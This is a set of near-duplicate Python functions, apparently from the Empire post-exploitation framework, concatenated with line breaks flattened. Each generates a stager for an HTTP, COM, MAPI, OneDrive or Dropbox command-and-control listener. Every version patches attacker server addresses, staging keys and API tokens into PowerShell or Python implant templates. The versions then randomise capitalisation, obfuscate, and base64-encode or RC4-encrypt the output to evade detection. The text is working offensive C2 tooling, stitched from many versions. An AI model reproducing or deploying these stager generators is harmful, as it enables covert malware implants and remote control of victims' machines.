def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color('[!] listeners/http_com generate_stager(): no language specified!') return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http_com.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager else: print helpers.color("[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module.")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language="powershell"): """ Generate the stager code needed for communications with this listener. """ #if not language: # print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!') # return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] folder = listenerOptions['Folder']['Value'] if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http_mapi.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" # patch the server and key information stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_FOLDER', folder) # patch in working hours if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager else: print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module.")
def generate_payload(self, listenerOptions, encode=False, encrypt=True, language=None, token=None): """ Generate the payload code """ if not language: print helpers.color("[!] listeners/onedrive generate_payload(): no language specified") return None staging_key = listenerOptions['StagingKey']['Value'] base_folder = listenerOptions['BaseFolder']['Value'] staging_folder = listenerOptions['StagingFolder']['Value'] working_hours = listenerOptions['WorkingHours']['Value'] profile = listenerOptions['DefaultProfile']['Value'] agent_delay = listenerOptions['DefaultDelay']['Value'] if language.lower() == 'powershell': f = open("%s/data/agent/payloads/onedrive.ps1" % self.mainMenu.installPath) payload = f.read() f.close() payload = payload.replace("REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder)) payload = payload.replace('REPLACE_STAGING_KEY', staging_key) payload = payload.replace("REPLACE_TOKEN", token) payload = payload.replace("REPLACE_POLLING_INTERVAL", str(agent_delay)) if working_hours != "": payload = payload.replace("REPLACE_WORKING_HOURS", working_hours) randomized_payload = '' for line in payload.split("\n"): line = line.strip() if not line.startswith("#"): if "\"" not in line: randomized_payload += helpers.randomize_capitalization(line) else: randomized_payload += line if encode: return helpers.enc_powershell(randomized_payload) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+staging_key, randomized_payload) else: return randomized_payload else: print helpers.color("[!] Python agent not available for Onedrive")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None, token=None): """ Generate the stager code """ if not language: print helpers.color("[!] listeners/onedrive generate_stager(): no language specified") return None staging_key = listenerOptions['StagingKey']['Value'] base_folder = listenerOptions['BaseFolder']['Value'] staging_folder = listenerOptions['StagingFolder']['Value'] working_hours = listenerOptions['WorkingHours']['Value'] profile = listenerOptions['DefaultProfile']['Value'] agent_delay = listenerOptions['DefaultDelay']['Value'] if language.lower() == 'powershell': f = open("%s/data/agent/stagers/onedrive.ps1" % self.mainMenu.installPath) stager = f.read() f.close() stager = stager.replace("REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder)) stager = stager.replace('REPLACE_STAGING_KEY', staging_key) stager = stager.replace("REPLACE_TOKEN", token) stager = stager.replace("REPLACE_POLLING_INTERVAL", str(agent_delay)) if working_hours != "": stager = stager.replace("REPLACE_WORKING_HOURS", working_hours) randomized_stager = '' for line in stager.split("\n"): line = line.strip() if not line.startswith("#"): if "\"" not in line: randomized_stager += helpers.randomize_capitalization(line) else: randomized_stager += line if encode: return helpers.enc_powershell(randomized_stager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+staging_key, randomized_stager) else: return randomized_stager else: print helpers.color("[!] Python agent not available for Onedrive")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color( '[!] listeners/http generate_stager(): no language specified!') return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] host = listenerOptions['Host']['Value'] customHeaders = profile.split('|')[2:] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" #Patch in custom Headers if customHeaders != []: headers = ','.join(customHeaders) stager = stager.replace( "$customHeaders = \"\";", "$customHeaders = \"" + headers + "\";") #patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization( line) else: randomizedStager += line if obfuscate: randomizedStager = helpers.obfuscate( randomizedStager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': # read in the stager base f = open("%s/data/agent/stagers/http.py" % (self.mainMenu.installPath)) stager = f.read() f.close() stager = helpers.strip_python_comments(stager) if host.endswith("/"): host = host[0:-1] # # patch the server and key information stager = stager.replace("REPLACE_STAGING_KEY", stagingKey) stager = stager.replace("REPLACE_PROFILE", profile) stager = stager.replace("index.jsp", stage1) stager = stager.replace("index.php", stage2) # # base64 encode the stager and return it if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, stager) else: # otherwise return the standard stager return stager else: print helpers.color( "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." )
def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print( helpers.color( '[!] listeners/http_com generate_stager(): no language specified!' )) return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] customHeaders = profile.split('|')[2:] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http_com.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # Get the random function name generated at install and patch the stager with the proper function name # Get the random function name generated at install and patch the stager with the proper function name conn = self.get_db_connection() self.lock.acquire() stager = helpers.keyword_obfuscation(stager) self.lock.release() # make sure the server ends with "/" if not host.endswith("/"): host += "/" # Patch in custom Headers headers = "" if customHeaders != []: crlf = False for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] # Host header TLS SNI logic done within http_com.ps1 if crlf: headers += "`r`n" else: crlf = True headers += "%s: %s" % (headerKey, headerValue) stager = stager.replace( "$customHeaders = \"\";", "$customHeaders = \"" + headers + "\";") # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) # patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' stagingKey = stagingKey.encode('UTF-8') for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization( line) else: randomizedStager += line if obfuscate: randomizedStager = helpers.obfuscate( self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager.encode('UTF-8')) else: # otherwise just return the case-randomized stager return randomizedStager else: print( helpers.color( "[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module." ))
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language="powershell"): """ Generate the stager code needed for communications with this listener. """ #if not language: # print helpers.color('[!] listeners/http_mapi generate_stager(): no language specified!') # return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] folder = listenerOptions['Folder']['Value'] if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http_mapi.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" # patch the server and key information stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_FOLDER', folder) # patch in working hours if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization( line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager else: print( helpers.color( "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' is currently supported for this module." ))
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color('[!] listeners/dbx generate_stager(): no language specified!') return None pollInterval = listenerOptions['PollInterval']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') apiToken = listenerOptions['APIToken']['Value'] profile = listenerOptions['DefaultProfile']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/dropbox.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # patch the server and key information stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval) #patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': template_path = [ os.path.join(self.mainMenu.installPath, '/data/agent/stagers'), os.path.join(self.mainMenu.installPath, './data/agent/stagers')] eng = templating.TemplateEngine(template_path) template = eng.get_template('dropbox.py') template_options = { 'staging_folder': stagingFolder, 'poll_interval': pollInterval, 'staging_key': stagingKey, 'profile': profile, 'api_token': apiToken } stager = template.render(template_options) stager = obfuscation.py_minify(stager) if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, stager) else: # otherwise return the standard stager return stager else: print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color('[!] listeners/http generate_stager(): no language specified!') return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] killDate = listenerOptions['KillDate']['Value'] host = listenerOptions['Host']['Value'] customHeaders = profile.split('|')[2:] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" #Patch in custom Headers if customHeaders != []: headers = ','.join(customHeaders) stager = stager.replace("$customHeaders = \"\";","$customHeaders = \""+headers+"\";") #patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) #Patch in the killdate, if any if killDate != "": stager = stager.replace('REPLACE_KILLDATE', killDate) # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line if obfuscate: randomizedStager = helpers.obfuscate(self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': # read in the stager base f = open("%s/data/agent/stagers/http.py" % (self.mainMenu.installPath)) stager = f.read() f.close() stager = helpers.strip_python_comments(stager) if host.endswith("/"): host = host[0:-1] if workingHours != "": stager = stager.replace('SET_WORKINGHOURS', workingHours) if killDate != "": stager = stager.replace('SET_KILLDATE', killDate) # # patch the server and key information stager = stager.replace("REPLACE_STAGING_KEY", stagingKey) stager = stager.replace("REPLACE_PROFILE", profile) stager = stager.replace("index.jsp", stage1) stager = stager.replace("index.php", stage2) # # base64 encode the stager and return it if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, stager) else: # otherwise return the standard stager return stager else: print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color( '[!] listeners/dbx generate_stager(): no language specified!') return None pollInterval = listenerOptions['PollInterval']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') apiToken = listenerOptions['APIToken']['Value'] profile = listenerOptions['DefaultProfile']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] stagingFolder = "/%s/%s" % ( baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/dropbox.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # patch the server and key information stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval) #patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization( line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': f = open("%s/data/agent/stagers/dropbox.py" % (self.mainMenu.installPath)) stager = f.read() f.close() stager = helpers.strip_python_comments(stager) # patch the server and key information stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval) stager = stager.replace('REPLACE_PROFILE', profile) stager = stager.replace('REPLACE_API_TOKEN', apiToken) if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, stager) else: # otherwise return the standard stager return stager else: print helpers.color( "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." )
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color('[!] listeners/dbx generate_stager(): no language specified!') return None pollInterval = listenerOptions['PollInterval']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') apiToken = listenerOptions['APIToken']['Value'] profile = listenerOptions['DefaultProfile']['Value'] stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/dropbox.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # patch the server and key information stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': f = open("%s/data/agent/stagers/dropbox.py" % (self.mainMenu.installPath)) stager = f.read() f.close() stager = helpers.strip_python_comments(stager) # patch the server and key information stager = stager.replace('REPLACE_STAGING_FOLDER', stagingFolder) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('REPLACE_POLLING_INTERVAL', pollInterval) stager = stager.replace('REPLACE_PROFILE', profile) stager = stager.replace('REPLACE_API_TOKEN', apiToken) if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, stager) else: # otherwise return the standard stager return stager else: print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color('[!] listeners/http_com generate_stager(): no language specified!') return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] customHeaders = profile.split('|')[2:] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http_com.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" #Patch in custom Headers headers = "" if customHeaders != []: crlf = False for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] # Host header TLS SNI logic done within http_com.ps1 if crlf: headers += "`r`n" else: crlf = True headers += "%s: %s" % (headerKey, headerValue) stager = stager.replace("$customHeaders = \"\";","$customHeaders = \""+headers+"\";") # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) #patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line if obfuscate: randomizedStager = helpers.obfuscate(self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager else: print helpers.color("[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module.")